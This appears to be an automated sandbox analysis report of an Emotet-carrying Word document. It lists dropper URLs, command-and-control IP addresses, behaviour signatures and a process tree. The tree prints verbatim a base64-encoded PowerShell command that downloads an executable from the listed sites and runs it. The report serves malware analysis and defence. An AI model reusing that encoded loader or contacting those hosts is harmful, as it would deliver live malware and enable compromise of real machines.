Analysis

  • max time kernel
    142s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    15/09/2020, 22:37

General

  • Target
    E3_48e2805a8f207e1a15fe5237e31e175a01b69813ebc605bc48dcf1517b020e02_2020-09-14_23-20-00_DOC.doc
  • Size 155KB
  • Sample200915-av8a1m5k36
  • SHA256 48e2805a8f207e1a15fe5237e31e175a01b69813ebc605bc48dcf1517b020e02
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://mendozagroup.ca/wp-includes/qqiB/

  • exe.dropper

    http://aeropilates.cl/wp-content/VAjqCR9q/

  • exe.dropper

    https://bondart.eu/docs/hk8GK/

  • exe.dropper

    http://axz.pt/wp-snapshots/Kiw/

  • exe.dropper

    http://wa3idoun.com/ay8yjk/774x/

  • exe.dropper

    http://karachiupdates.com/277p/EBYnXXE/

  • exe.dropper

    http://injazjordan.com/moodle/NWgrYEp0/

Extracted

Family
  • emotet

C2
  • 115.176.16.221:80

  • 45.79.16.230:7080

  • 145.239.169.32:7080

  • 190.85.46.52:7080

  • 180.26.62.115:443

  • 179.5.118.12:80

  • 189.160.188.97:80

  • 5.79.70.250:8080

  • 126.126.139.26:443

  • 41.84.243.145:80

  • 79.133.6.236:8080

  • 139.59.12.63:8080

  • 95.216.205.155:8080

  • 45.177.120.37:8080

  • 54.38.143.245:8080

  • 157.7.164.178:8081

  • 41.212.89.128:80

  • 50.116.78.109:8080

  • 75.127.14.170:8080

  • 49.243.9.118:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ServiceHost packer 1 IoCs

    Detects ServiceHost packer used for .NET malware

  • Blacklisted process makes network request 1 IoCs
  • Dave packer 1 IoCs

    Detects executable packed with a packer named 'Dave' from the community, due to a string at the end of it.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3_48e2805a8f207e1a15fe5237e31e175a01b69813ebc605bc48dcf1517b020e02_2020-09-14_23-20-00_DOC.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:648
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABKAG0AMAByAHgAeABhAD0AKAAnAEkAJwArACgAJwA0AHYAMgAnACsAJwBpADQAJwArACcAdgAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAcgBwAFIATwBmAGkATABFAFwAYgB5ADAAYQBjAFcATABcAHIAYwBhAEMAMgBqAGwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAHUAcgBgAGkAdABZAFAAcgBvAGAAVABPAGMATwBMACIAIAA9ACAAKAAnAHQAJwArACcAbAAnACsAKAAnAHMAJwArACcAMQAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAnACkAKwAnACAAdAAnACsAJwBsAHMAJwApADsAJABOAHgAYwB6AHYAegBiACAAPQAgACgAKAAnAEgAZQAnACsAJwBrAHgAJwApACsAKAAnAF8AbABlAGMAJwArACcAXwAnACkAKQA7ACQARQB2ADMAZQBpAGoAbQA9ACgAJwBJACcAKwAnAGoAJwArACgAJwAyAHUAcABwACcAKwAnAHgAJwApACkAOwAkAFIAbABnADUAeQAzAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBwACcAKwAnAGgAOQBCAHkAJwArACcAMAAnACkAKwAnAGEAYwAnACsAKAAnAHcAbABwAGgAJwArACcAOQAnACkAKwAoACcAUgBjAGEAJwArACcAYwAnACkAKwAnADIAagAnACsAJwBsACcAKwAnAHAAaAAnACsAJwA5ACcAKQAgACAALQBjAHIAZQBwAEwAYQBDAGUAIAAgACgAWwBDAGgAQQBSAF0AMQAxADIAKwBbAEMAaABBAFIAXQAxADAANAArAFsAQwBoAEEAUgBdADUANwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAE4AeABjAHoAdgB6AGIAKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABSAGoAYQB2AG4ANgByAD0AKAAoACcAVAB4ACcAKwAnAF8AJwApACsAKAAnAHkAagAnACsAJwBiAGgAJwApACkAOwAkAEUAeQB0AHcAMwA0AHEAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAYwBMAEkARQBOAFQAOwAkAEwAdAA0AGUAbwBsAHMAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8ALwBtACcAKwAnAGUAJwArACcAbgBkAG8AegBhACcAKQArACgAJwBnAHIAbwB1AHAALgAnACsAJwBjACcAKQArACgAJwBhAC8AdwAnACsAJwBwAC0AaQAnACkAKwAoACcAbgBjAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMALwBxAHEAaQAnACsAJwBCAC8AKgBoACcAKwAnAHQAdABwACcAKQArACgAJwA6ACcAKwAnAC8ALwBhAGUAJwApACsAJwByACcAKwAoACcAbwBwAGkAbABhACcAKwAnAHQAZQAnACkAKwAoACcAcwAnACsAJwAuACcAKwAnAGMAbAAvAHcAcAAnACsAJwAtAGMAJwApACsAKAAnAG8AbgAnACsAJwB0AGUAJwApACsAJwBuAHQAJwArACcALwAnACsAKAAnAFYAJwArACcAQQBqACcAKQArACgAJwBxAEMAJwArACcAUgAnACkAKwAoACcAOQAnACsAJwBxACcAKwAnAC8AKgBoAHQAdABwAHMAOgAnACkAKwAoACcALwAvACcAKwAnAGIAJwApACsAJwBvACcAKwAnAG4AJwArACcAZABhACcAKwAoACcAcgB0ACcAKwAnAC4AZQB1AC8AZABvAGMAcwAvAGgAawA4AEcASwAvACcAKwAnACoAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8AJwApACsAKAAnAC8AYQB4AHoALgBwAHQALwAnACsAJwB3ACcAKwAnAHAAJwArACcALQBzACcAKQArACcAbgBhACcAKwAnAHAAcwAnACsAKAAnAGgAbwB0ACcAKwAnAHMALwAnACsAJwBLAGkAJwApACsAKAAnAHcALwAnACsAJwAqACcAKQArACgAJwBoAHQAdABwADoAJwArACcALwAvACcAKwAnAHcAJwApACsAJwBhADMAJwArACgAJwBpAGQAbwAnACsAJwB1AG4ALgAnACkAKwAnAGMAbwAnACsAKAAnAG0ALwBhAHkAJwArACcAOAAnACkAKwAnAHkAagAnACsAKAAnAGsALwAnACsAJwA3ACcAKQArACcANwAnACsAJwA0AHgAJwArACgAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6AC8AJwArACcALwAnACsAKAAnAGsAJwArACcAYQByACcAKQArACgAJwBhAGMAaAAnACsAJwBpACcAKQArACgAJwB1ACcAKwAnAHAAZAAnACkAKwAoACcAYQAnACsAJwB0AGUAcwAnACsAJwAuAGMAbwBtAC8AMgA3ACcAKQArACgAJwA3AHAALwAnACsAJwBFACcAKwAnAEIAWQAnACsAJwBuAFgAWABFAC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAoACcAaQBuAGoAYQB6ACcAKwAnAGoAJwApACsAKAAnAG8AcgAnACsAJwBkAGEAJwApACsAJwBuACcAKwAnAC4AJwArACgAJwBjAG8AJwArACcAbQAvAG0AbwAnACsAJwBvACcAKQArACcAZABsACcAKwAnAGUALwAnACsAJwBOAFcAJwArACgAJwBnAHIAJwArACcAWQAnACkAKwAoACcARQAnACsAJwBwADAAJwApACsAJwAvACcAKQAuACIAUwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAGMAcgBxADgAaAB2AD0AKAAnAEsAJwArACgAJwBwACcAKwAnAHIAbQBiADIAegAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AbQBnAG0AawA5AGwAIABpAG4AIAAkAEwAdAA0AGUAbwBsAHMAKQB7AHQAcgB5AHsAJABFAHkAdAB3ADMANABxAC4AIgBEAGAAbwBXAE4ATABvAGEAZABmAGkAYABsAGUAIgAoACQATQBtAGcAbQBrADkAbAAsACAAJABSAGwAZwA1AHkAMwBnACkAOwAkAFoAMQB4ADcAYgBwAGgAPQAoACcAQwAnACsAKAAnAHUAbgB3ACcAKwAnAGsAJwArACcAeQB1ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFIAbABnADUAeQAzAGcAKQAuACIAbABgAGUAbgBnAHQASAAiACAALQBnAGUAIAAyADYAMAA4ADUAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAUgBsAGcANQB5ADMAZwApADsAJABXAGMAbgAwAGgAbwByAD0AKAAoACcAUgAnACsAJwBmADAAbwAnACkAKwAnAGYAZwAnACsAJwBhACcAKQA7AGIAcgBlAGEAawA7ACQARAB6AHUAbwBtADYAZAA9ACgAJwBEACcAKwAnAG0AJwArACgAJwBtADYAMAAnACsAJwBiADIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAawBnAHoAbQA4ADQAPQAoACgAJwBFAGcAJwArACcAbgBqAGoAJwApACsAJwA5ADAAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:184
    • C:\Users\Admin\By0acwl\Rcac2jl\Hekx_lec_.exe
      "C:\Users\Admin\By0acwl\Rcac2jl\Hekx_lec_.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1904
      • C:\Windows\SysWOW64\RacEngn\werdiagcontroller.exe
        "C:\Windows\SysWOW64\RacEngn\werdiagcontroller.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3884
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1904 -s 420
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1664

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/184-9-0x00007FF8DC100000-0x00007FF8DCAEC000-memory.dmp

        memory/184-10-0x0000015ACF650000-0x0000015ACF651000-memory.dmp

        memory/184-11-0x0000015ACF850000-0x0000015ACF851000-memory.dmp

        memory/648-0-0x00007FF8E93E0000-0x00007FF8E9AA6000-memory.dmp

        memory/1664-23-0x00000000048A0000-0x00000000048A1000-memory.dmp

        memory/1664-19-0x00000000047B0000-0x00000000047B1000-memory.dmp

        memory/1904-16-0x0000000000AC0000-0x0000000000AD0000-memory.dmp

        memory/1904-15-0x0000000000A90000-0x0000000000AA2000-memory.dmp

        memory/3884-21-0x0000000000860000-0x0000000000872000-memory.dmp

        memory/3884-22-0x0000000000880000-0x0000000000890000-memory.dmp